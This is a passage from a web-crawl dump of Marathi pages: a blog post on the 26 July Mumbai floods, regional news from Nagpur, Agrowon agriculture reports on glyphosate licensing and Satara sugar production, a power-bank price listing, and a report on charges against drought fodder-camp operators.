पाणी साचल्याने विमानसेवाही कोलमडली.रस्त्यावरही गुङघाभर पाणी असल्याने अनेक मोटारींच्या इंज़िनमध्ये जाऊन त्या बंद पडल्या.त्यामुळे ठिकठीकाणी वाहतूक कोंडी झाली.दूरध्वनी,मोबाइल फोन यांसारख्या सेवाही बंद झाल्याने मुंबईचा इतर उपनगरांशी होणारा संपर्क तुटला.अनेक भागात विजेच्या ट्रांस्फोर्मर मध्ये पाणी जाऊन विद्युत पुरवठाही खंडित झाला.\n२६ जुलै या दिवशी सुमारे १५ लाख पेक्षा जास्त लोक पावसाच्या थैमानामुळे मुंबईत अडकले होते असा शासनाचा प्राथमिक अंदाज आहे.अशा पूर स्थितीतही अनेक मुस्लिम लोकांनी तसेच स्वयंसेवि संघटनांनी मानवतावादाचा हात पुढे करून पूरात,बेस्ट च्या बसेस मध्ये तसेच मोटारीत अडकलेल्या लोकांना मोफत बिस्किटचे पुडे,पाण्याच्या बाटल्या,चहा वितरीत केला,तर बर्‍याच जणांचे प्राणही वाचवले.त्यांपैकी काही जणांनी दुसर्‍याचे प्राण वाचवता वाचवता स्वतःचे प्राण वेचले.\nदरवर्षी भारत सरकारला करस्वरूपी १५ हजार कोटी रुपयाची रक्कम देणार्‍या तसेच भारताची आर्थिक राजधानी असणार्‍या मुंबईची एका दिवसात अतिवृष्टीमुळे अशी दयनीय अवस्था झाली,याचा प्रत्येकाने विचार करायला हवा.या अतिवृष्टीचा सर्वाधिक फटका एकट्या मुंबईलाच बसला नाही तर तिच्या अन्य उपनगरांना व ठाणे जिल्ह्यातील अनेक गावांनाही बसला.अतिवृष्टीमुळे आलेल्या पुरात अनेक जण त्यात वाहून गेले तर शेकडो लोकांचा ठाव-ठिकाणाही लागला नाही.यावरून सतत बदलणार्‍या या युगात भविष्यात मानव जातीसमोर कोणते संकट ओढवेल,हे कोणी सांगू शकत नाही.कारण,शेवटी माणूस नियतीपुढे हतबल आहे.अशा या भयंकर काळातून जे वाचले त्यांचे एकेक अनुभव ऐकताना अंगावर शहारे येतात.या संपूर्ण पार्श्वभूमीवर\n\"दैव जात दुःखे भरता\nया ग.दि.माडगुळकर यांच्या गीतरामायणातील ओळी अतिशय समर्पक वाटतात.\nकनेक्ट द डॉट्स आयुष्याचा एक आराखडा असतो हे सत्य आहे. एक विस्तृत आराखडा. आयुष्यातील प्रत्येक अनुभव, मग तो चांगला असो वा वाईट असो, तुम्हा...\nदिवाळी : तेव्हाची आणि आजची\nपावसाळा संपल्यावर गणेश चतुर्थी, अनंत चतुर्दशी, पितृ पंधरवडा, नवरात्रोत्सव, दसरा व कोजागिरी आदी सण संपलेले असत. सहामाही परीक्षा पण संपल...\nआज लोकसत्ता मध्ये एक मस्त कविता वाचली. त्यातले दोन सुप्रसिद्ध चरण... सृष्टीचे चमत्कार ( श्लोक : उपजाति ) वैशाखमासी प्रतिवर्षि येती , ...\n२६ जुलैच्या कटू आठवणी : मुंबई\nविज्ञान आणि तंत्रज्ञानाच्या जोरावर मानवाने अनेक प्रगती आणि विकासाची नवी शिखरे पादाक्रांत केली असली तरी निसर्ग आपल्या अस्त...\n२६ जुलैच्या कटू आठवणी : मुंबई\nतरुण भारत बेळगांव वृत्तपत्रात आलेली मुलाखत...चेहऱ्याआडचे चेहरे\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00250.warc.wet.gz", "language": "mr", "language_score": 0.94, "bucket": "all"} {"url": "https://www.nagpurtoday.in/palakamantryankade-the-enthusiasm-of-the-establishment-of-ganesha/09131625", "date_download": "2018-09-25T17:20:53Z", "digest": "sha1:ZJXLOV5HX3HJI6SIA5H6R75N6LC7LNPU", "length": 6360, "nlines": 72, "source_domain": "www.nagpurtoday.in", "title": "पालकमंत्र्यांकडे उत्साहात गणेशाची स्थापना - Nagpur Today : Nagpur News पालकमंत्र्यांकडे उत्साहात गणेशाची स्थापना – Nagpur Today : Nagpur News", "raw_content": "\nपालकमंत्र्यांकडे उत्साहात गणेशाची स्थापना\nराज्याचे ऊर्जामंत्री व नागपूरचे पालकमंत्री चंद्रशेखर बावनकुळे यांच्या कोराडी येथील निवासस्थानी आज दुपारी गणेश मूर्तीची उत्साहात स्थापना त्यांचे सुपुत्र संकेत बावनकुळे यांच्या हस्ते करण्यात आली.\nलोकमान्य टिळकांनी सुरु केलेला गणेशोत्सव संपूर्ण महाराष्ट्रात आजही तेवढ्याच उत्साहाने साजरा केला जात आहे. बुध्दीची देवता असलेल्या गणरायाचे आगमन आज सर्व शहरांमध्ये गावांमध्ये झाले आहे. देशाची 21 व्या शतकाकडे वाटचाल सुरु आहे. अशा परिस्थितीत राज्यातील आणि देशातील सर्व नागरिकांना गणरायाने सुखी समृध्द ठेवावे. नैसर्गिक संकटापासून या राज्यातील शेतकर्‍यांला आणि नागरिकांना वाचवावे, अशी प्रार्थना पालकमंत्री चंद्रशेखर बावनकुळे यांनी आज गणरायाला करून शहर आणि जिल्ह्यातील सर्व नागरिकांना गणेशोत्सवाच्या शुभेच्छा दिल्या.\nगणरायाच्या स्थापनेप्रसंगी पालकमंत्र्यांच्या निवासस्थानी त्यांच्या पत्नी सौ. ज्योती बावनकुळे, मुलगी पायल, जावई लोकेश, बंधू नारायण बावनकुळे व अनेक आप्त आणि मित्र उपस्थित होते.\nबॉलीवुड के बाद अब टीवी पर धमाल मचाएगी यह खूबसूरत एक्ट्रेस,\n अजय देवगन ने ट्विटर पर शेयर कर दिया काजोल का Whatsapp नंबर\nपंडीत दिनदयाल उपाध्याय जयंती निमित्त मनपा तर्फे विनम्र अभिवादन\n‘आपली बस’ सेवा सुरळीत\n28 सितंबर को देश भर के दवा विक्रेता हड़ताल पर\nमनपा पस्त,जनता त्रस्त ऑटोचालक मस्त\nनगरसेविका रुपाली ठाकुर के देवर ने की मनपा स्वास्थ्य कर्मी से मारपीट\nहंगामें के बीच बहुमत के आधार पर सारे विषय मंजूर\nपंडीत दिनदयाल उपाध्याय जयंती निमित्त मनपा तर्फे विनम्र अभिवादन\n‘आपली बस’ सेवा सुरळीत\nसंस्कार शाश्वत, मानव परिवर्तशील : केंद्रीय मंत्री नितीन गडकरी\nमेट्रोची गती ताशी ९० किमी वेगापर्यंत वाढण्यासाठी प्रयत्न सुरु\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00250.warc.wet.gz", "language": "mr", "language_score": 0.68, "bucket": "all"} {"url": "https://www.pricedekho.com/mr/power-banks/cheap-itek+power-banks-price-list.html", "date_download": "2018-09-25T17:02:25Z", "digest": "sha1:XVAU6IVCOE4XQPE3K3RA4SCL73H4QUIH", "length": 15399, "nlines": 420, "source_domain": "www.pricedekho.com", "title": "स्वस्त India मध्ये इतकं पॉवर बॅंक्स | PriceDekho.com", "raw_content": "कूपन, दर cashback ऑफर\nलॅपटॉप, पीसी च्या, गेमिंग आणि अॅक्सेसरीज\nकॅमेरा, लेन्स आणि अॅक्सेसरीज\nटीव्ही आणि मनोरंजन साधने\nघर & स्वयंपाकघर उपकरणे\nगृह सजावट, स्वयंपाकघर आणि फर्निचर\nलहान मुले आणि बेबी उत्पादने\nखेळ, फिटनेस आणि आरोग्य\nपुस्तके, स्टेशनरी, भेटी आणि मीडिया\nभारतातील टॉप 10 मोबाईल\nमागचा कॅमेरा [13 MP]\nमोबाईल प्रकरणे आणि कव्हर\nबिंदू आणि अंकुर कॅमेरे\nकंडिशनर्स,वॉशिंग मशिन्स आणि ड्रायरसुद्धा\nव्हॅक्यूम & विंडोमध्ये क्लीनर\nज्युसर मिक्सर आणि धार लावणारा\nओ डी टॉयलेट (EDT)\nपायांकरीता असलेले कातड्याचे बाह्य आवरण पॅड\nमऊ तळव्यांचे आवाज न होणारे बूट\nचप्पल आणि फ्लिप फ्लॉप्स\nCheap इतकं पॉवर बॅंक्स Indiaकिंमत\nस्वस्त इतकं पॉवर बॅंक्स\nसर्वाधिक ते सर्वात कमी\nसर्वात कमी ते सर्वोच्च\nखरेदी स्वस्त पॉवर बॅंक्स India मध्ये Rs.499 येथे सुरू म्हणून 25 Sep 2018. सर्वात कमी भाव सोपे आणि जलद ऑनलाइन तुलना अग्रणी ऑनलाइन स्टोअर्स पासून प्राप्त आहेत. उत्पादनांची विस्तृत माध्यमातून ब्राउझ करा: दर तुलना , वैशिष्ट्य आणि पुनरावलोकने चित्र पहा वाचा आणि आपल्या मित्रांसह सर्वात कमी भाव शेअर करा. इतकं रबब्०१३ बळ ब्लू Rs. 1,499 किंमत सर्वात लोकप्रिय स्वस्त India मध्ये इतकं पॉवर बॅंक्स आहे.\nकिंमत श्रेणी इतकं पॉवर बॅंक्स < / strong>\n0 इतकं पॉवर बॅंक्स रुपयांपेक्षा कमी उपलब्ध आहेत. 374. सर्वात कमी दरातील उत्पादन Rs.499 येथे आपल्याला इतकं रबब्०१५ बाकी ब्लॅक उपलब्ध India आहे. शॉपर्स स्मार्ट निर्णय आणि ऑनलाइन खरेदी दर तुलना स्वस्त उत्पादने दिलेल्या श्रेणी निवडू शकता. किंमती Mumbai, New Delhi, Bangalore, Chennai, Pune, Kolkata, Hyderabad, Jaipur, Chandigarh, Ahmedabad, NCR ऑनलाइन शॉपिंग इत्यादी सर्व प्रमुख शहरांमध्ये वैध आहेत.\nदर्शवत आहे 8 उत्पादने\nशीर्ष 10इतकं पॉवर बॅंक्स\nइतकं रबब्०१५ बाकी ब्लॅक\n- बॅटरी कॅपॅसिटी 2600 mAh\nइतकं रबब्०१७ बाकी ब्लॅक\n- बॅटरी कॅपॅसिटी 5600 mAh\nइतकं रबब्०१५ बळ ब्लू\n- बॅटरी कॅपॅसिटी 2600 mAh\n- बॅटरी कॅपॅसिटी 2600 mAh\nइतकं रबब्०१५ रद्द रेड\n- बॅटरी कॅपॅसिटी 2600 mAh\nइतकं रबब्०१७ व्हा व्हाईट\n- बॅटरी कॅपॅसिटी 5600 mAh\n- बॅटरी कॅपॅसिटी 10000 mAh\nइतकं रबब्०१३ बळ ब्लू\n- बॅटरी कॅपॅसिटी 10000 mAh\n* 80% संधी किंमत पुढील 3 आठवडे 10% पडू शकतो की नाही\nमिळवा झटपट किमतीत घट ईमेल / एसएमएस\nQuick links आमच्या विषयी आमच्याशी संपर्क साधा T&C गोपनीयता धोरण FAQ's\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00250.warc.wet.gz", "language": "mr", "language_score": 0.79, "bucket": "all"} {"url": "http://www.agrowon.com/agriculture-news-marathi-proposal-exclude-glyphosate-licence-maharashtra-11425", "date_download": "2018-09-25T17:52:43Z", "digest": "sha1:XSY2B7H7CPQRW5RI7NJVRTCODXNS3J7Z", "length": 16541, "nlines": 152, "source_domain": "www.agrowon.com", "title": "agriculture news in Marathi, proposal for Exclude glyphosate from licence, Maharashtra | Agrowon", "raw_content": "\nAgrowon च्या बातम्यांसाठी सबस्क्राईब करा\nAgrowon च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\nग्लायफोसेटला परवान्यातूनच वगळण्याचा प्रस्ताव\nग्लायफोसेटला परवान्यातूनच वगळण्याचा प्रस्ताव\nशनिवार, 18 ऑगस्ट 2018\nग्लायफोसेट संदर्भाने देशातील सर्व राज्यांची बैठक दिल्लीत झाली. संबंधित राज्यांच्या परवान्यात हे आहे. त्यामुळे राज्यांना ते परवान्यातून वगळून बंदी लादता येणार आहे. महाराष्ट्रात ही प्रक्रिया सुरू करण्यात आली आहे. गुणनियंत्रण विभाग कृषी आयुक्‍तांच्या अखत्यारित आहे. त्यांना पुढची कारवाई करावयाची आहे; आमच्या स्तरावर आम्ही तसा प्रस्ताव दिला आहे. सुनावणी घेऊन कृषी आयुक्‍त यासंदर्भाने निर्णय घेतील.\n- विजय कुमार, अपर मुख्य सचिव (कृषी)\nनागपूर ः चहा वगळता इतर पिकांसाठी ग्लायफोसेट शिफारशीतच नाही. त्यामुळे आंध प्रदेशच्या धर्तीवर कीडनाशक परवान्यातूनच ग्लायफोसेटला कायमस्वरूपी वगळण्याचा प्रस्ताव कृषी सचिवालयस्तरावरून कृषी आयुक्‍तालयाकडे देण्यात आला आहे. गुणनिविष्ठा विभाग आयुक्‍तांकडे असल्याने सुनावणीअंती ग्लायफोसेटला परवान्यातून वगळण्याची प्रक्रिया केली जाणार आहे.\nबांधावरील तणासाठी मोन्सॅटो कंपनी उत्पादित ग्लायफोसेट उपयोगात आणले जाते. याच कंपनीने तणाला प्रतिकारक जनुक असलेले तणनाशक सहनशील (हर्बीसाइड टॉलरंस, एचटी) कपाशी बियाणे बाजारात आणण्यासाठी परवानगीकरिता केंद्र सरकारकडे अर्ज केले. दरम्यान, चाचण्या सुरू असतानाच हा अर्ज कंपनीकडून मागे घेण्यात आला; परंतु त्यानंतर अनधिकृतपणे मोठ्या प्रमाणावर ‘एचटी’ बियाणे अनेक ठिकाणी दाखल झाले.\nअनधिकृत लागवड झालेल्या या कापूस क्षेत्रातील तणासाठी ग्लायफोसेटही वापरले गेले; परंतु चहाव्यतिरिक्‍त देशातील अन्य कोणत्याच पिकासाठी हे शिफारशीत नसल्याचे खुद्द कंपनीनेच कबूल केले आहे. असे असताना देशातील अनेक राज्याच्या कीडनाशक परवान्यात मात्र ग्लायफोसेट या तणनाशकाचा समावेश आहे. त्यामुळे कंपनीकडून याचा पुरवठा आणि विक्रेत्यांकडून त्याची विक्री होत होती.\nअनधिकृत ‘एचटी’ बियाण्यांच्या वाढीस लागलेल्या वापरामुळे केंद्र सरकारची चिंता वाढली. त्यापाठोपाठ ग्लायफोसेटचा वापरही वाढीस लागल्याचे निरीक्षण नोंदविले गेले. त्यामुळे केंद्र सरकारने देशातील सर्वच राज्याच्या कृषी सचिवांची दिल्लीत बैठक घेतली. ग्लायफोसेट हे त्या-त्या राज्याच्या परवान्यात असल्याने बंदी राज्याच्या अखत्यारित येते. त्यामुळे परवान्यातून हे तणनाशक वगळून त्यावर बंदी लादता येईल, असे सांगितले गेले.\nआंध्र प्रदेशच्या कृतीचे समर्थन\nआंध्र प्रदेशने सर्व तांत्रिक बाबी समजून घेत यापूर्वीच ग्लायफोसेटला परवान्यातून वगळत बंदी लादली. केंद्र सरकारने आंध्र प्रदेशच्या या कृतीचे समर्थन करीत इतर राज्यांनीदेखील अशाच प्रकारे कारवाई करावी, अशा सूचना केल्या.\nदिल्ली महाराष्ट्र तण कापूस\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...\nपुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या विद्यार्थ्यांच्या विविध मागण्यांसाठी येत्या 27 स\nजिल्हा परिषदेतील कृषी अधिकारी यांना राजपत्रित...\nमुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क, तांत्रिक) हे प\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिर\nजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात स्थिर राहिले.\nकळमणा बाजारात सोयाबीनच्या दरात वाढ\nनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा बाजार समितीत इतर शेतीमालाचे भाव स्थिर हो\nकोल्हापुरात फळांची आवक मंदावली, मागणीतही घट\nकोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या सप्ताहात टोमॅटोच्या आवकेत वाढ कायम होती.\nजिल्हा परिषदेतील कृषी अधिकारी यांना...मुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क...\nप्रथिनांचा उत्तम स्राेत ः गुणवंत चारापीकराहुरी येथील महात्मा फुले कृषी विद्यापीठाने...\nमुंबईसह शेजारील शहरांत सेंद्रिय...मुंबईसह शेजारील शहरांमध्ये सेंद्रिय उत्पादनांना...\nऊसतोड मजूरांच्या मागण्यांबाबत लवादाची...मुंबई : राज्यातील ऊसतोड मजूर व कामगारांच्या...\nमॉन्सूनची माघार शनिवारपासूनपुणे : नैऋत्य मोसमी वाऱ्यांच्या (माॅन्सून)...\nसेंद्रिय शेतीसाठी शासनाच्या विविध योजनासेंद्रिय शेती आणि पीक उत्पादनवाढीसाठी राज्य आणि...\n‘जलयुक्त’ गैरव्यवहाराची फाइल पुन्हा...पुणे : जलयुक्त शिवार योजनेत बीड जिल्ह्यात...\nमहसूल उत्पन्न सूत्राचे ऊसदरामध्ये...पुणे : महसुली उत्पन्न विभागणीनुसार राज्यातील...\nतुरळक ठिकाणी पावसाचा अंदाजपुणे : ‘दाये’ चक्रीवादळ निवळून गेल्यानंतर राज्यात...\nमोदींनी सर्वात मोठी आरोग्य योजना '...रांची- पंतप्रधान नरेंद्र मोदी यांनी झारखंडची...\nकृषिपंपासाठी बड्या कंपन्यांच्या निविदाबारामती - राज्यातील दोन लाख ९० हजार शेतकऱ्यांच्या...\nमराठवाड्यातील ८६४ प्रकल्पांत ३३ टक्‍केच...औरंगाबाद : मराठवाड्यातील पाणीसाठ्यांमधील उपयुक्‍त...\nऊस ठिबक योजनेसाठी लेखापरीक्षकाची नेमणूक पुणे : राज्यात ऊस लागवडीसाठी ठिबक अनुदान...\nइथेनॉलमधील फरक ओळखण्यासाठी यंत्रणानवी दिल्ली ः देशात तीन प्रकारच्या मोलॅसिसपासून...\n‘ग्लायफोसेट’वर बंदी नाहीपुणे : मानवी आरोग्याला धोकादायक असल्याचा कोणताही...\nविदर्भात पावसाची दमदार हजेरीपुणे : बंगालच्या उपसागरातील ‘दाये’ वादळाने बाष्प...\nबचत गटांतून मिळाली विकासाला उभारीअस्तगाव (ता. राहाता, जि. नगर) हा तसा सधन परिसर....\nकांदाचाळीसाठी सव्वाशे कोटींचा निधीनगर ः एकात्मिक फलोत्पादन विकास...\nशेती, आरोग्य अन्‌ शिक्षणाचा जागरगावाच्या शाश्वत विकासासाठी शेती, आरोग्य, शिक्षण...\nमहाराष्ट्राची सिंचनक्षमता आता 40 लाख...मुंबई - शेतीयोग्य जमिनीतील केवळ 18 टक्‍के...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00251.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.agrowon.com/agriculture-news-marathi-sugarcane-crushing-season-status-satara-maharashtra-7089", "date_download": "2018-09-25T17:56:41Z", "digest": "sha1:BXINGJZD4A6WKPNCV3X4OQAM3XLTZ7QK", "length": 16230, "nlines": 149, "source_domain": "www.agrowon.com", "title": "agriculture news in marathi, sugarcane crushing season status, satara, maharashtra | Agrowon", "raw_content": "\nAgrowon च्या बातम्यांसाठी सबस्क्राईब करा\nAgrowon च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\nसातारा जिल्ह्यात ८१ लाख ७७ हजार टन उसाचे गाळप\nसातारा जिल्ह्यात ८१ लाख ७७ हजार टन उसाचे गाळप\nमंगळवार, 3 एप्रिल 2018\nसातारा ः जिल्ह्यातील पाच साखर कारखान्यांच्या गाळप हंगामाची सांगता झाली असून, उर्वरित नऊ साखर कारखान्यांचे ऊस गाळप अंतिम टप्प्यात आले आहे. या कारखान्यांनी आतापर्यंत ८१ लाख ७७ हजार ९८७ मेट्रिक टन उसाचे गाळप केले असून, त्याद्वारे ९७ लाख १४ हजार ९५५ क्विंटल साखर उत्पादन झाले आहे. जिल्ह्यात सरासरी ११.८८ टक्के साखर उतारा मिळत आहे. जिल्ह्यात साखर उत्पादनाची वाटचाल एक कोटी क्विंटलकडे सुरू आहे.\nसातारा ः जिल्ह्यातील पाच साखर कारखान्यांच्या गाळप हंगामाची सांगता झाली असून, उर्वरित नऊ साखर कारखान्यांचे ऊस गाळप अंतिम टप्प्यात आले आहे. या कारखान्यांनी आतापर्यंत ८१ लाख ७७ हजार ९८७ मेट्रिक टन उसाचे गाळप केले असून, त्याद्वारे ९७ लाख १४ हजार ९५५ क्विंटल साखर उत्पादन झाले आहे. जिल्ह्यात सरासरी ११.८८ टक्के साखर उतारा मिळत आहे. जिल्ह्यात साखर उत्पादनाची वाटचाल एक कोटी क्विंटलकडे सुरू आहे.\nजिल्ह्यातील ऊस हंगाम अंतिम टप्प्यात आला असून श्रीराम, लोकनेते बाळासाहेब देसाई, रयत, न्यू फलटण, स्वराज्य या पाच कारखान्यांच्या गाळप हंगामाची सांगता झाली आहे. जिल्ह्यातील आठ सहकारी व सहा खासगी कारखान्यांनी ८१ लाख ७७ हजार ९८७ मेट्रिक टन उसाचे गाळप केले असून, त्याद्वारे ९७ लाख १४ हजार ९५५ क्विंटल साखर उत्पादन झाले आहे.\nऊस गाळपात सह्याद्री कारखान्याची आघाडी घेतली आहे. या कारखान्याने सर्वाधिक ११ लाख २५ हजार ४०० टन उसाचे गाळप केले असून, १३ लाख ९२ हजार ६८० क्विंटल साखर उत्पादन घेतले आहे. जयवंत शुगरने साखर उताऱ्यात आघाडी घेतली असून या कारखान्याचा उतारा १२.९१ टक्के आहे. सर्वांत कमी साखर उतारा ‘स्वराज’चा १०.१९ टक्के आहे.\nजिल्ह्यात एकूण गाळपापैकी आठ सहकारी कारखान्यांनी ४५ लाख ८५ हजार ४५४ टन ऊस गाळपाद्वारे ५५ लाख ५१ हजार १८० क्‍विंटल साखर उत्पादित केली आहे. सहा खासगी कारखान्यांनी ३५ लाख ९१ हजार ५३३ टन ऊस गाळपाद्वारे ४१ लाख ६३ हजार ७७५ क्विंटल साखर उत्पादित केली आहे. उर्वरित कारखान्यांचा हंगाम एप्रिल महिन्याच्या अखेरपर्यंत चालणार आहे. या हंगामात साखर निर्मितीची वाटचाल एक कोटी क्विंटलकडे सुरू आहे.\nऊस गाळप हंगाम अंतिम टप्प्यात आल्याने तसेच पाण्याची टंचाई भासू लागल्याने शेतकरी लवकरात लवकर ऊस तुटला जावा, यासाठी साखर कारखाने तसेच चिठबॉय यांच्याकडे चकरा मारत आहेत. या शेतकऱ्यांच्या असाह्यतेचा फायदा ऊसतोड मजुरांकडून घेतला जात आहे. एकर दोन ते पाच हजार रुपयांची मागणी शेतकऱ्यांकडे केली जात आहे.\nसाखर गाळप हंगाम ऊस सातारा\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...\nपुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या विद्यार्थ्यांच्या विविध मागण्यांसाठी येत्या 27 स\nजिल्हा परिषदेतील कृषी अधिकारी यांना राजपत्रित...\nमुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क, तांत्रिक) हे प\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिर\nजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात स्थिर राहिले.\nकळमणा बाजारात सोयाबीनच्या दरात वाढ\nनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा बाजार समितीत इतर शेतीमालाचे भाव स्थिर हो\nकोल्हापुरात फळांची आवक मंदावली, मागणीतही घट\nकोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या सप्ताहात टोमॅटोच्या आवकेत वाढ कायम होती.\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिरजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात...\nकोल्हापुरात फळांची आवक मंदावली,...कोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या...\nकळमणा बाजारात सोयाबीनच्या दरात वाढनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा...\nनाशिकला टोमॅटोची आवक वाढली; कांदा,...नाशिक : नाशिक बाजार समितीत गतसप्ताहात टोमॅटोची...\nकपाशीतील किडींचे एकात्मिक नियंत्रणसध्या कपाशीचे पीक पाते, फुले व बोंड लागण्याच्या...\nसांगली जिल्ह्यात सेंद्रिय शेतमालाला हवी...सांगली जिल्ह्यामध्ये सेंद्रिय शेतीमाल विक्री...\nनाशिक जिल्ह्यात सेंद्रिय शेतीची वाटचाल...नाशिक जिल्ह्यात सेंद्रिय शेतीचे तीन वर्षांपूर्वी...\nनाशिक, निफाड कारखाना भाड्याने देण्याचा...नाशिक : कर्जबाजारी व आर्थिक डबघाईमुळे गेल्या काही...\nअकोला, बुलडाण्यात पीक कर्जवाटप ३०...अकोला ः शेतकऱ्यांना खरीप हंगामासाठी पीक...\nगोंदियातील कृषी सेवा केंद्रे लावणार...गोंदिया ः जमिनीची गरज ओळखूनच खताची मात्रा...\nसाताऱ्यात पावसाअभावी पिके करपू लागलीसातारा : जिल्ह्यात सुमारे एक महिन्यापासून...\nनगर जिल्ह्यात पावसाअभावी कांदा लागवड...नगर ः जिल्हाभरात पावसाअभावी कांदालागवड...\nवाशीममध्ये रब्बीत हरभऱ्याचे क्षेत्र...वाशीम ः या हंगामात जिल्ह्यात चांगला पाऊस...\nखरेदी केंद्र सुरू करण्याच्या मागणीसाठी...सातारा : शेतीमाल खरेदी केंद्रे त्वरित सुरू...\nसंघर्ष गोकुळ ‘मल्टिस्टेट’चाकोल्हापूर जिल्हा दूध संघ (गोकुळ) मल्टिस्टेट...\n'दारुमुळे दरवर्षी अडीच लाखापेक्षा जास्त...नवी दिल्ली- दारूमुळे दरवर्षी जवळपास अडीच...\nजालन्यात पाण्यात बुडून तिघांचा मृत्यूजालना : गणपती बाप्पांचे विसर्जन करताना जालना...\nशिखर, रोहितने पाकला धुतले; भारत अंतिम...दुबई : पाकिस्तानने उभारलेल्या 237 धावांचा सहजी...\nखानदेशात मध्यम पाऊस; नंदुरबारला हुलकावणीजळगाव : खानदेशात शुक्रवारी (ता.२१) मध्यरात्री व...\nपुणे जिल्ह्यात ढगाळ हवामानपुणे : जिल्ह्यात आठवड्याच्या सुरवातीला...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00251.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Ahamadnagar/Five-driver-of-the-camp-have-filed-an-offense-in-ahmednagar/", "date_download": "2018-09-25T17:02:15Z", "digest": "sha1:UWYVTBZDLLFO7HR3ZVIL6ZZEJEUPN3KM", "length": 7486, "nlines": 35, "source_domain": "www.pudhari.news", "title": " पाच छावणीचालकांवर गुन्हा दाखल | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Ahamadnagar › पाच छावणीचालकांवर गुन्हा दाखल\nपाच छावणीचालकांवर गुन्हा दाखल\nजामखेड तालुक्यात दुष्काळामुळे सन 2012-13 व सन 2013-14 साली 39 चारा छावण्या सुरू करण्यात आल्या होत्या. त्यातील पाच छावण्यांच्या नोंदींत अनियमितता आढळली होती. त्यामुळे प्रभारी तहसीलदार विजय भंडारी यांच्या आदेशानुसार काल (दि.9) मंडलाधिकार्‍यांनी या छावणीचालकांवर गुन्हे दाखल केले आहेत. मात्र काही छावणीचालकांच्या अनियमिततेकडे महसूल विभागाने दुर्लक्ष केल्याचा काही संघटनांनी आरोप करून न्यायालयात जाण्याचा इशारा दिला आहे.\nतालुक्यात सन 2012-13 व 2013-14 साली दुष्काळ पडला होता. त्यामुळे दुष्काळी भागात जनावरांच्या 39 चारा छावण्या सुरू करण्यात आल्या होत्या. या छावणीचालकांवर टंचाई शाखेने अनियमितता आढळल्याने दंड केला होता. जिल्ह्यात सर्व तालुक्यांतील छावणीचालकांवर गुन्हे दाखल झाले होते. परंतु जामखेड येथे तहसील प्रशासनाने दोन दिवस उशिरा म्हणजे शुक्रवारी (दि.9) गुन्हे दाखल केले.\nखर्डा येथील मंडलाधिकारी विकास पाचारणे व अरणगाव येथील मंडलाधिकारी रामकिसन कोळी यांनी फिर्याद दिली. त्यात सन 2012-13 व 2013-14 मध्ये या पाच छावण्यांतून बाहेर गेलेल्या जनावरांची नोंद जावक रजिस्टरमध्ये न घेणे, तसेच जनावरे बाहेर घेऊन जाण्याचे संबंधित शेतकर्‍यांकडून अर्ज न घेणे, छावणीतील प्राप्त चारा, पशुखाद्य, मिनरल मिक्सर यांची नोंद अद्ययावत न ठेवणे, अशी अनियमितता आढळल्याचे म्हटले आहे. कर्जत येथील अम्मा भगवान सामाजिक मंडळाचे (कर्जत) प्रकाश खोसे यांनी गिरवली छावणी सुरू केली होती. तिला प्रत्येकी 4 हजार 630 व 4 हजार 200 रुपये, सरदवाडी येथील जयराम मंजूर सह. संस्थेचे पांडू उबाळे यांनी अरणगाव येथे छावणी सुरू केली होती. या छावणीस 